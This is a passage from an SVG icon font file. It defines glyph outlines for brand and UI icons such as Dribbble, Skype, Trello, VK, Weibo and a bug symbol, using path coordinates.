t5 -3q14 -4 18 -31q0 -3 8 2q2 2 2 3zM921 1401q0 2 -2.5 5t-9 7t-9.5 6q-15 15 -24 15q-9 -1 -11.5 -7.5t-1 -13t-0.5 -12.5q-1 -4 -6 -10.5t-6 -9t3 -8.5q4 -3 8 0t11 9t15 9q1 1 9 1t15 2t9 7zM1486 60q20 -12 31 -24.5t12 -24t-2.5 -22.5t-15.5 -22t-23.5 -19.5
t-30 -18.5t-31.5 -16.5t-32 -15.5t-27 -13q-38 -19 -85.5 -56t-75.5 -64q-17 -16 -68 -19.5t-89 14.5q-18 9 -29.5 23.5t-16.5 25.5t-22 19.5t-47 9.5q-44 1 -130 1q-19 0 -57 -1.5t-58 -2.5q-44 -1 -79.5 -15t-53.5 -30t-43.5 -28.5t-53.5 -11.5q-29 1 -111 31t-146 43
q-19 4 -51 9.5t-50 9t-39.5 9.5t-33.5 14.5t-17 19.5q-10 23 7 66.5t18 54.5q1 16 -4 40t-10 42.5t-4.5 36.5t10.5 27q14 12 57 14t60 12q30 18 42 35t12 51q21 -73 -32 -106q-32 -20 -83 -15q-34 3 -43 -10q-13 -15 5 -57q2 -6 8 -18t8.5 -18t4.5 -17t1 -22q0 -15 -17 -49
t-14 -48q3 -17 37 -26q20 -6 84.5 -18.5t99.5 -20.5q24 -6 74 -22t82.5 -23t55.5 -4q43 6 64.5 28t23 48t-7.5 58.5t-19 52t-20 36.5q-121 190 -169 242q-68 74 -113 40q-11 -9 -15 15q-3 16 -2 38q1 29 10 52t24 47t22 42q8 21 26.5 72t29.5 78t30 61t39 54
q110 143 124 195q-12 112 -16 310q-2 90 24 151.5t106 104.5q39 21 104 21q53 1 106 -13.5t89 -41.5q57 -42 91.5 -121.5t29.5 -147.5q-5 -95 30 -214q34 -113 133 -218q55 -59 99.5 -163t59.5 -191q8 -49 5 -84.5t-12 -55.5t-20 -22q-10 -2 -23.5 -19t-27 -35.5
t-40.5 -33.5t-61 -14q-18 1 -31.5 5t-22.5 13.5t-13.5 15.5t-11.5 20.5t-9 19.5q-22 37 -41 30t-28 -49t7 -97q20 -70 1 -195q-10 -65 18 -100.5t73 -33t85 35.5q59 49 89.5 66.5t103.5 42.5q53 18 77 36.5t18.5 34.5t-25 28.5t-51.5 23.5q-33 11 -49.5 48t-15 72.5
t15.5 47.5q1 -31 8 -56.5t14.5 -40.5t20.5 -28.5t21 -19t21.5 -13t16.5 -9.5z" />
    <glyph glyph-name="dribble" unicode="&#xf17d;" 
d="M1024 36q-42 241 -140 498h-2l-2 -1q-16 -6 -43 -16.5t-101 -49t-137 -82t-131 -114.5t-103 -148l-15 11q184 -150 418 -150q132 0 256 52zM839 643q-21 49 -53 111q-311 -93 -673 -93q-1 -7 -1 -21q0 -124 44 -236.5t124 -201.5q50 89 123.5 166.5t142.5 124.5t130.5 81
t99.5 48l37 13q4 1 13 3.5t13 4.5zM732 855q-120 213 -244 378q-138 -65 -234 -186t-128 -272q302 0 606 80zM1416 536q-210 60 -409 29q87 -239 128 -469q111 75 185 189.5t96 250.5zM611 1277q-1 0 -2 -1q1 1 2 1zM1201 1132q-185 164 -433 164q-76 0 -155 -19
q131 -170 246 -382q69 26 130 60.5t96.5 61.5t65.5 57t37.5 40.5zM1424 647q-3 232 -149 410l-1 -1q-9 -12 -19 -24.5t-43.5 -44.5t-71 -60.5t-100 -65t-131.5 -64.5q25 -53 44 -95q2 -5 6.5 -17t7.5 -17q36 5 74.5 7t73.5 2t69 -1.5t64 -4t56.5 -5.5t48 -6.5t36.5 -6
t25 -4.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="skype" unicode="&#xf17e;" 
d="M1173 473q0 50 -19.5 91.5t-48.5 68.5t-73 49t-82.5 34t-87.5 23l-104 24q-30 7 -44 10.5t-35 11.5t-30 16t-16.5 21t-7.5 30q0 77 144 77q43 0 77 -12t54 -28.5t38 -33.5t40 -29t48 -12q47 0 75.5 32t28.5 77q0 55 -56 99.5t-142 67.5t-182 23q-68 0 -132 -15.5
t-119.5 -47t-89 -87t-33.5 -128.5q0 -61 19 -106.5t56 -75.5t80 -48.5t103 -32.5l146 -36q90 -22 112 -36q32 -20 32 -60q0 -39 -40 -64.5t-105 -25.5q-51 0 -91.5 16t-65 38.5t-45.5 45t-46 38.5t-54 16q-50 0 -75.5 -30t-25.5 -75q0 -92 122 -157.5t291 -65.5
q73 0 140 18.5t122.5 53.5t88.5 93.5t33 131.5zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5q-130 0 -234 80q-77 -16 -150 -16q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5q0 73 16 150q-80 104 -80 234q0 159 112.5 271.5t271.5 112.5q130 0 234 -80
q77 16 150 16q143 0 273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -73 -16 -150q80 -104 80 -234z" />
    <glyph glyph-name="foursquare" unicode="&#xf180;" horiz-adv-x="1280" 
d="M1000 1102l37 194q5 23 -9 40t-35 17h-712q-23 0 -38.5 -17t-15.5 -37v-1101q0 -7 6 -1l291 352q23 26 38 33.5t48 7.5h239q22 0 37 14.5t18 29.5q24 130 37 191q4 21 -11.5 40t-36.5 19h-294q-29 0 -48 19t-19 48v42q0 29 19 47.5t48 18.5h346q18 0 35 13.5t20 29.5z
M1227 1324q-15 -73 -53.5 -266.5t-69.5 -350t-35 -173.5q-6 -22 -9 -32.5t-14 -32.5t-24.5 -33t-38.5 -21t-58 -10h-271q-13 0 -22 -10q-8 -9 -426 -494q-22 -25 -58.5 -28.5t-48.5 5.5q-55 22 -55 98v1410q0 55 38 102.5t120 47.5h888q95 0 127 -53t10 -159zM1227 1324
l-158 -790q4 17 35 173.5t69.5 350t53.5 266.5z" />
    <glyph glyph-name="trello" unicode="&#xf181;" 
d="M704 192v1024q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-1024q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1376 576v640q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-640q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408
q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="female" unicode="&#xf182;" horiz-adv-x="1280" 
d="M1280 480q0 -40 -28 -68t-68 -28q-51 0 -80 43l-227 341h-45v-132l247 -411q9 -15 9 -33q0 -26 -19 -45t-45 -19h-192v-272q0 -46 -33 -79t-79 -33h-160q-46 0 -79 33t-33 79v272h-192q-26 0 -45 19t-19 45q0 18 9 33l247 411v132h-45l-227 -341q-29 -43 -80 -43
q-40 0 -68 28t-28 68q0 29 16 53l256 384q73 107 176 107h384q103 0 176 -107l256 -384q16 -24 16 -53zM864 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="male" unicode="&#xf183;" horiz-adv-x="1024" 
d="M1024 832v-416q0 -40 -28 -68t-68 -28t-68 28t-28 68v352h-64v-912q0 -46 -33 -79t-79 -33t-79 33t-33 79v464h-64v-464q0 -46 -33 -79t-79 -33t-79 33t-33 79v912h-64v-352q0 -40 -28 -68t-68 -28t-68 28t-28 68v416q0 80 56 136t136 56h640q80 0 136 -56t56 -136z
M736 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="gittip" unicode="&#xf184;" 
d="M773 234l350 473q16 22 24.5 59t-6 85t-61.5 79q-40 26 -83 25.5t-73.5 -17.5t-54.5 -45q-36 -40 -96 -40q-59 0 -95 40q-24 28 -54.5 45t-73.5 17.5t-84 -25.5q-46 -31 -60.5 -79t-6 -85t24.5 -59zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="sun" unicode="&#xf185;" horiz-adv-x="1792" 
d="M1472 640q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5t-223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5t45.5 -223.5t123 -184t184 -123t223.5 -45.5t223.5 45.5t184 123t123 184t45.5 223.5zM1748 363q-4 -15 -20 -20l-292 -96v-306q0 -16 -13 -26q-15 -10 -29 -4
l-292 94l-180 -248q-10 -13 -26 -13t-26 13l-180 248l-292 -94q-14 -6 -29 4q-13 10 -13 26v306l-292 96q-16 5 -20 20q-5 17 4 29l180 248l-180 248q-9 13 -4 29q4 15 20 20l292 96v306q0 16 13 26q15 10 29 4l292 -94l180 248q9 12 26 12t26 -12l180 -248l292 94
q14 6 29 -4q13 -10 13 -26v-306l292 -96q16 -5 20 -20q5 -16 -4 -29l-180 -248l180 -248q9 -12 4 -29z" />
    <glyph glyph-name="_366" unicode="&#xf186;" 
d="M1262 233q-54 -9 -110 -9q-182 0 -337 90t-245 245t-90 337q0 192 104 357q-201 -60 -328.5 -229t-127.5 -384q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51q144 0 273.5 61.5t220.5 171.5zM1465 318q-94 -203 -283.5 -324.5t-413.5 -121.5q-156 0 -298 61
t-245 164t-164 245t-61 298q0 153 57.5 292.5t156 241.5t235.5 164.5t290 68.5q44 2 61 -39q18 -41 -15 -72q-86 -78 -131.5 -181.5t-45.5 -218.5q0 -148 73 -273t198 -198t273 -73q118 0 228 51q41 18 72 -13q14 -14 17.5 -34t-4.5 -38z" />
    <glyph glyph-name="archive" unicode="&#xf187;" horiz-adv-x="1792" 
d="M1088 704q0 26 -19 45t-45 19h-256q-26 0 -45 -19t-19 -45t19 -45t45 -19h256q26 0 45 19t19 45zM1664 896v-960q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v960q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1728 1344v-256q0 -26 -19 -45t-45 -19h-1536
q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1536q26 0 45 -19t19 -45z" />
    <glyph glyph-name="bug" unicode="&#xf188;" horiz-adv-x="1664" 
d="M1632 576q0 -26 -19 -45t-45 -19h-224q0 -171 -67 -290l208 -209q19 -19 19 -45t-19 -45q-18 -19 -45 -19t-45 19l-198 197q-5 -5 -15 -13t-42 -28.5t-65 -36.5t-82 -29t-97 -13v896h-128v-896q-51 0 -101.5 13.5t-87 33t-66 39t-43.5 32.5l-15 14l-183 -207
q-20 -21 -48 -21q-24 0 -43 16q-19 18 -20.5 44.5t15.5 46.5l202 227q-58 114 -58 274h-224q-26 0 -45 19t-19 45t19 45t45 19h224v294l-173 173q-19 19 -19 45t19 45t45 19t45 -19l173 -173h844l173 173q19 19 45 19t45 -19t19 -45t-19 -45l-173 -173v-294h224q26 0 45 -19
t19 -45zM1152 1152h-640q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5z" />
    <glyph glyph-name="vk" unicode="&#xf189;" horiz-adv-x="1920" 
d="M1917 1016q23 -64 -150 -294q-24 -32 -65 -85q-40 -51 -55 -72t-30.5 -49.5t-12 -42t13 -34.5t32.5 -43t57 -53q4 -2 5 -4q141 -131 191 -221q3 -5 6.5 -12.5t7 -26.5t-0.5 -34t-25 -27.5t-59 -12.5l-256 -4q-24 -5 -56 5t-52 22l-20 12q-30 21 -70 64t-68.5 77.5t-61 58
t-56.5 15.5q-3 -1 -8 -3.5t-17 -14.5t-21.5 -29.5t-17 -52t-6.5 -77.5q0 -15 -3.5 -27.5t-7.5 -18.5l-4 -5q-18 -19 -53 -22h-115q-71 -4 -146 16.5t-131.5 53t-103 66t-70.5 57.5l-25 24q-10 10 -27.5 30t-71.5 91t-106 151t-122.5 211t-130.5 272q-6 16 -6 27t3 16l4 6
q15 19 57 19l274 2q12 -2 23 -6.5t16 -8.5l5 -3q16 -11 24 -32q20 -50 46 -103.5t41 -81.5l16 -29q29 -60 56 -104t48.5 -68.5t41.5 -38.5t34 -14t27 5q2 1 5 5t12 22t13.5 47t9.5 81t0 125q-2 40 -9 73t-14 46l-6 12q-25 34 -85 43q-13 2 5 24q16 19 38 30q53 26 239 24
q82 -1 135 -13q20 -5 33.5 -13.5t20.5 -24t10.5 -32t3.5 -45.5t-1 -55t-2.5 -70.5t-1.5 -82.5q0 -11 -1 -42t-0.5 -48t3.5 -40.5t11.5 -39t22.5 -24.5q8 -2 17 -4t26 11t38 34.5t52 67t68 107.5q60 104 107 225q4 10 10 17.5t11 10.5l4 3l5 2.5t13 3t20 0.5l288 2
q39 5 64 -2.5t31 -16.5z" />
    <glyph glyph-name="weibo" unicode="&#xf18a;" horiz-adv-x="1792" 
d="M675 252q21 34 11 69t-45 50q-34 14 -73 1t-60 -46q-22 -34 -13 -68.5t43 -50.5t74.5 -2.5t62.5 47.5zM769 373q8 13 3.5 26.5t-17.5 18.5q-14 5 -28.5 -0.5t-21.5 -18.5q-17 -31 13 -45q14 -5 29 0.5t22 18.5zM943 266q-45 -102 -158 -150t-224 -12
q-107 34 -147.5 126.5t6.5 187.5q47 93 151.5 139t210.5 19q111 -29 158.5 -119.5t2.5 -190.5zM1255 426q-9 96 -89 170t-208.5 109t-274.5 21q-223 -23 -369.5 -141.5t-132.5 -264.5q9 -96 89 -170t208.5 -109t274.5 -21q223 23 369.5 141.5t132.5 264.5zM1563 422
q0 -68 -37 -139.5t-109 -137t-168.5 -117.5t-226 -83t-270.5 -31t-275 33.5t-240.5 93t-171.5 151t-65 199.5q0 115 69.5 245t197.5 258q169 169 341.5 236t246.5 -7q65 -64 20 -209q-4 -14 -1 -20t10 -7t14.5 0.5t13.5 3.5l6 2q139 59 246 59t153 -61q45 -63 0 -178
q-2 -13 -4.5 -20t4.5 -12.5t12 -7.5t17 -6q57 -18 103 -47t80 -81.5t34 -116.5zM1489 1046q42 -47 54.5 -108.5t-6.5 -117.5q-8 -23 -29.5 -34t-44.5 -4q-23 8 -34 29.5t-4 44.5q20 63 -24 111t-107 35q-24 -5 -45 8t-25 37q-5 24 8 44.5t37 25.5q60 13 119 -5.5t101 -65.5z
M1670 1209q87 -96 112.5 -222.5t-13.5 -241.5q-9 -27 -34 -40t-52 -4t-40 34t-5 52q28 82 10 172t-80 158q-62 69 -148 95.5t-173 8.5q-28 -6 -52 9.5t-30 43.5t9.5 51.5t43.5 29.5q123 26 244 -11.5t208 -134.5z" />
    <glyph glyph-name="renren" unicode="&#xf18b;" 
d="M1133 -34q-171 -94 -368 -94q-196 0 -367 94q138 87 235.5 211t131.5 268q35 -144 132.5 -268t235.5 -211zM638 1394v-485q0 -252 -126.5 -459.5t-330.5 -306.5q-181 215 -181 495q0 187 83.5 349.5t229.5 269.5t325 137zM1536 638q0 -280 -181 -495
q-204 99 -330.5 306.5t-126.5 459.5v485q179 -30 325 -137t229.5 -269.5t83.5 -349.5z" />
    <glyph glyph-name="_372" unicode="&#xf18c;" horiz-adv-x="1408" 
d="M1402 433q-32 -80 -76 -138t-91 -88.5t-99 -46.5t-101.5 -14.5t-96.5 8.5t-86.5 22t-69.5 27.5t-46 22.5l-17 10q-113 -228 -289.5 -359.5t-384.5 -132.5q-19 0 -32 13t-13 32t13 31.5t32 12.5q173 1 322.5 107.5t251.5 294.5q-36 -14 -72 -23t-83 -13t-91 2.5t-93 28.5
t-92 59t-84.5 100t-74.5 146q114 47 214 57t167.5 -7.5t124.5 -56.5t88.5 -77t56.5 -82q53 131 79 291q-7 -1 -18 -2.5t-46.5 -2.5t-69.5 0.5t-81.5 10t-88.5 23t-84 42.5t-75 65t-54.5 94.5t-28.5 127.5q70 28 133.5 36.5t112.5 -1t92 -30t73.5 -50t56 -61t42 -63t27.5 -56
t16 -39.5l4 -16q12 122 12 195q-8 6 -21.5 16t-49 44.5t-63.5 71.5t-54 93t-33 112.5t12 127t70 138.5q73 -25 127.5 -61.5t84.5 -76.5t48 -85t20.5 -89t-0.5 -85.5t-13 -76.5t-19 -62t-17 -42l-7 -15q1 -4 1 -50t-1 -72q3 7 10 18.5t30.5 43t50.5 58t71 55.5t91.5 44.5
t112 14.5t132.5 -24q-2 -78 -21.5 -141.5t-50 -104.5t-69.5 -71.5t-81.5 -45.5t-84.5 -24t-80 -9.5t-67.5 1t-46.5 4.5l-17 3q-23 -147 -73 -283q6 7 18 18.5t49.5 41t77.5 52.5t99.5 42t117.5 20t129 -23.5t137 -77.5z" />
    <glyph glyph-name="stack_exchange" unicode="&#xf18d;" horiz-adv-x="1280" 
d="M1259 283v-66q0 -85 -57.5 -144.5t-138.5 -59.5h-57l-260 -269v269h-529q-81 0 -138.5 59.5t-57.5 144.5v66h1238zM1259 609v-255h-1238v255h1238zM1259 937v-255h-1238v255h1238zM1259 1077v-67h-1238v67q0 84 57.5 143.5t138.5 59.5h846q81 0 138.5 -59.5t57.5 -143.5z
" />
    <glyph glyph-name="_374" unicode="&#xf18e;" 
d="M1152 640q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198
t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="arrow_circle_alt_left" unicode="&#xf190;" 
d="M1152 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-192q0 -14 -9 -23t-23 -9q-12 0 -24 10l-319 319q-9 9 -9 23t9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h352q13 0 22.5 -9.5t9.5 -22.5zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198
t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_376" unicode="&#xf191;" 
d="M1024 960v-640q0 -26 -19 -45t-45 -19q-20 0 -37 12l-448 320q-27 19 -27 52t27 52l448 320q17 12 37 12q26 0 45 -19t19 -45zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5z
M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="dot_circle_alt" unicode="&#xf192;" 
d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5
t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_378" unicode="&#xf193;" horiz-adv-x="1664" 
d="M1023 349l102 -204q-58 -179 -210 -290t-339 -111q-156 0 -288.5 77.5t-210 210t-77.5 288.5q0 181 104.5 330t274.5 211l17 -131q-122 -54 -195 -165.5t-73 -244.5q0 -185 131.5 -316.5t316.5 -131.5q126 0 232.5 65t165 175.5t49.5 236.5zM1571 249l58 -114l-256 -128
q-13 -7 -29 -7q-40 0 -57 35l-239 477h-472q-24 0 -42.5 16.5t-21.5 40.5l-96 779q-2 17 6 42q14 51 57 82.5t97 31.5q66 0 113 -47t47 -113q0 -69 -52 -117.5t-120 -41.5l37 -289h423v-128h-407l16 -128h455q40 0 57 -35l228 -455z" />
    <glyph glyph-name="vimeo_square" unicode="&#xf194;" 
d="M1292 898q10 216 -161 222q-231 8 -312 -261q44 19 82 19q85 0 74 -96q-4 -57 -74 -167t-105 -110q-43 0 -82 169q-13 54 -45 255q-30 189 -160 177q-59 -7 -164 -100l-81 -72l-81 -72l52 -67q76 52 87 52q57 0 107 -179q15 -55 45 -164.5t45 -164.5q68 -179 164 -179
q157 0 383 294q220 283 226 444zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_380" unicode="&#xf195;" horiz-adv-x="1152" 
d="M1152 704q0 -191 -94.5 -353t-256.5 -256.5t-353 -94.5h-160q-14 0 -23 9t-9 23v611l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v93l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v250q0 14 9 23t23 9h160
q14 0 23 -9t9 -23v-181l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-93l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-487q188 13 318 151t130 328q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
    <glyph glyph-name="plus_square_o" unicode="&#xf196;" horiz-adv-x="1408" 
d="M1152 736v-64q0 -14 -9 -23t-23 -9h-352v-352q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v352h-352q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h352v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-352h352q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832
q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_382" unicode="&#xf197;" horiz-adv-x="2176" 
d="M620 416q-110 -64 -268 -64h-128v64h-64q-13 0 -22.5 23.5t-9.5 56.5q0 24 7 49q-58 2 -96.5 10.5t-38.5 20.5t38.5 20.5t96.5 10.5q-7 25 -7 49q0 33 9.5 56.5t22.5 23.5h64v64h128q158 0 268 -64h1113q42 -7 106.5 -18t80.5 -14q89 -15 150 -40.5t83.5 -47.5t22.5 -40
t-22.5 -40t-83.5 -47.5t-150 -40.5q-16 -3 -80.5 -14t-106.5 -18h-1113zM1739 668q53 -36 53 -92t-53 -92l81 -30q68 48 68 122t-68 122zM625 400h1015q-217 -38 -456 -80q-57 0 -113 -24t-83 -48l-28 -24l-288 -288q-26 -26 -70.5 -45t-89.5 -19h-96l-93 464h29
q157 0 273 64zM352 816h-29l93 464h96q46 0 90 -19t70 -45l288 -288q4 -4 11 -10.5t30.5 -23t48.5 -29t61.5 -23t72.5 -10.5l456 -80h-1015q-116 64 -273 64z" />
    <glyph glyph-name="_383" unicode="&#xf198;" horiz-adv-x="1664" 
d="M1519 760q62 0 103.5 -40.5t41.5 -101.5q0 -97 -93 -130l-172 -59l56 -167q7 -21 7 -47q0 -59 -42 -102t-101 -43q-47 0 -85.5 27t-53.5 72l-55 165l-310 -106l55 -164q8 -24 8 -47q0 -59 -42 -102t-102 -43q-47 0 -85 27t-53 72l-55 163l-153 -53q-29 -9 -50 -9
q-61 0 -101.5 40t-40.5 101q0 47 27.5 85t71.5 53l156 53l-105 313l-156 -54q-26 -8 -48 -8q-60 0 -101 40.5t-41 100.5q0 47 27.5 85t71.5 53l157 53l-53 159q-8 24 -8 47q0 60 42 102.5t102 42.5q47 0 85 -27t53 -72l54 -160l310 105l-54 160q-8 24 -8 47q0 59 42.5 102
t101.5 43q47 0 85.5 -27.5t53.5 -71.5l53 -161l162 55q21 6 43 6q60 0 102.5 -39.5t42.5 -98.5q0 -45 -30 -81.5t-74 -51.5l-157 -54l105 -316l164 56q24 8 46 8zM725 498l310 105l-105 315l-310 -107z" />
    <glyph glyph-name="_384" unicode="&#xf199;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM1280 352v436q-31 -35 -64 -55q-34 -22 -132.5 -85t-151.5 -99q-98 -69 -164 -69v0v0q-66 0 -164 69
q-47 32 -142 92.5t-142 92.5q-12 8 -33 27t-31 27v-436q0 -40 28 -68t68 -28h832q40 0 68 28t28 68zM1280 925q0 41 -27.5 70t-68.5 29h-832q-40 0 -68 -28t-28 -68q0 -37 30.5 -76.5t67.5 -64.5q47 -32 137.5 -89t129.5 -83q3 -2 17 -11.5t21 -14t21 -13t23.5 -13
t21.5 -9.5t22.5 -7.5t20.5 -2.5t20.5 2.5t22.5 7.5t21.5 9.5t23.5 13t21 13t21 14t17 11.5l267 174q35 23 66.5 62.5t31.5 73.5z" />
    <glyph glyph-name="_385" unicode="&#xf19a;" horiz-adv-x="1792" 
d="M127 640q0 163 67 313l367 -1005q-196 95 -315 281t-119 411zM1415 679q0 -19 -2.5 -38.5t-10 -49.5t-11.5 -44t-17.5 -59t-17.5 -58l-76 -256l-278 826q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-75 1 -202 10q-12 1 -20.5 -5t-11.5 -15t-1.5 -18.5t9 -16.5
t19.5 -8l80 -8l120 -328l-168 -504l-280 832q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-7 0 -23 0.5t-26 0.5q105 160 274.5 253.5t367.5 93.5q147 0 280.5 -53t238.5 -149h-10q-55 0 -92 -40.5t-37 -95.5q0 -12 2 -24t4 -21.5t8 -23t9 -21t12 -22.5t12.5 -21
t14.5 -24t14 -23q63 -107 63 -212zM909 573l237 -647q1 -6 5 -11q-126 -44 -255 -44q-112 0 -217 32zM1570 1009q95 -174 95 -369q0 -209 -104 -385.5t-279 -278.5l235 678q59 169 59 276q0 42 -6 79zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286
t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 -215q173 0 331.5 68t273 182.5t182.5 273t68 331.5t-68 331.5t-182.5 273t-273 182.5t-331.5 68t-331.5 -68t-273 -182.5t-182.5 -273t-68 -331.5t68 -331.5t182.5 -273
t273 -182.5t331.5 -68z" />
    <glyph glyph-name="_386" unicode="&#xf19b;" horiz-adv-x="1792" 
d="M1086 1536v-1536l-272 -128q-228 20 -414 102t-293 208.5t-107 272.5q0 140 100.5 263.5t275 205.5t391.5 108v-172q-217 -38 -356.5 -150t-139.5 -255q0 -152 154.5 -267t388.5 -145v1360zM1755 954l37 -390l-525 114l147 83q-119 70 -280 99v172q277 -33 481 -157z" />
    <glyph glyph-name="_387" unicode="&#xf19c;" horiz-adv-x="2048" 
d="M960 1536l960 -384v-128h-128q0 -26 -20.5 -45t-48.5 -19h-1526q-28 0 -48.5 19t-20.5 45h-128v128zM256 896h256v-768h128v768h256v-768h128v768h256v-768h128v768h256v-768h59q28 0 48.5 -19t20.5 -45v-64h-1664v64q0 26 20.5 45t48.5 19h59v768zM1851 -64
q28 0 48.5 -19t20.5 -45v-128h-1920v128q0 26 20.5 45t48.5 19h1782z" />
    <glyph glyph-name="_388" unicode="&#xf19d;" horiz-adv-x="2304" 
d="M1774 700l18 -316q4 -69 -82 -128t-235 -93.5t-323 -34.5t-323 34.5t-235 93.5t-82 128l18 316l574 -181q22 -7 48 -7t48 7zM2304 1024q0 -23 -22 -31l-1120 -352q-4 -1 -10 -1t-10 1l-652 206q-43 -34 -71 -111.5t-34 -178.5q63 -36 63 -109q0 -69 -58 -107l58 -433
q2 -14 -8 -25q-9 -11 -24 -11h-192q-15 0 -24 11q-10 11 -8 25l58 433q-58 38 -58 107q0 73 65 111q11 207 98 330l-333 104q-22 8 -22 31t22 31l1120 352q4 1 10 1t10 -1l1120 -352q22 -8 22 -31z" />
    <glyph glyph-name="_389" unicode="&#xf19e;" 
d="M859 579l13 -707q-62 11 -105 11q-41 0 -105 -11l13 707q-40 69 -168.5 295.5t-216.5 374.5t-181 287q58 -15 108 -15q44 0 111 15q63 -111 133.5 -229.5t167 -276.5t138.5 -227q37 61 109.5 177.5t117.5 190t105 176t107 189.5q54 -14 107 -14q56 0 114 14v0
q-28 -39 -60 -88.5t-49.5 -78.5t-56.5 -96t-49 -84q-146 -248 -353 -610z" />
    <glyph glyph-name="uniF1A0" unicode="&#xf1a0;" 
d="M768 750h725q12 -67 12 -128q0 -217 -91 -387.5t-259.5 -266.5t-386.5 -96q-157 0 -299 60.5t-245 163.5t-163.5 245t-60.5 299t60.5 299t163.5 245t245 163.5t299 60.5q300 0 515 -201l-209 -201q-123 119 -306 119q-129 0 -238.5 -65t-173.5 -176.5t-64 -243.5
t64 -243.5t173.5 -176.5t238.5 -65q87 0 160 24t120 60t82 82t51.5 87t22.5 78h-436v264z" />
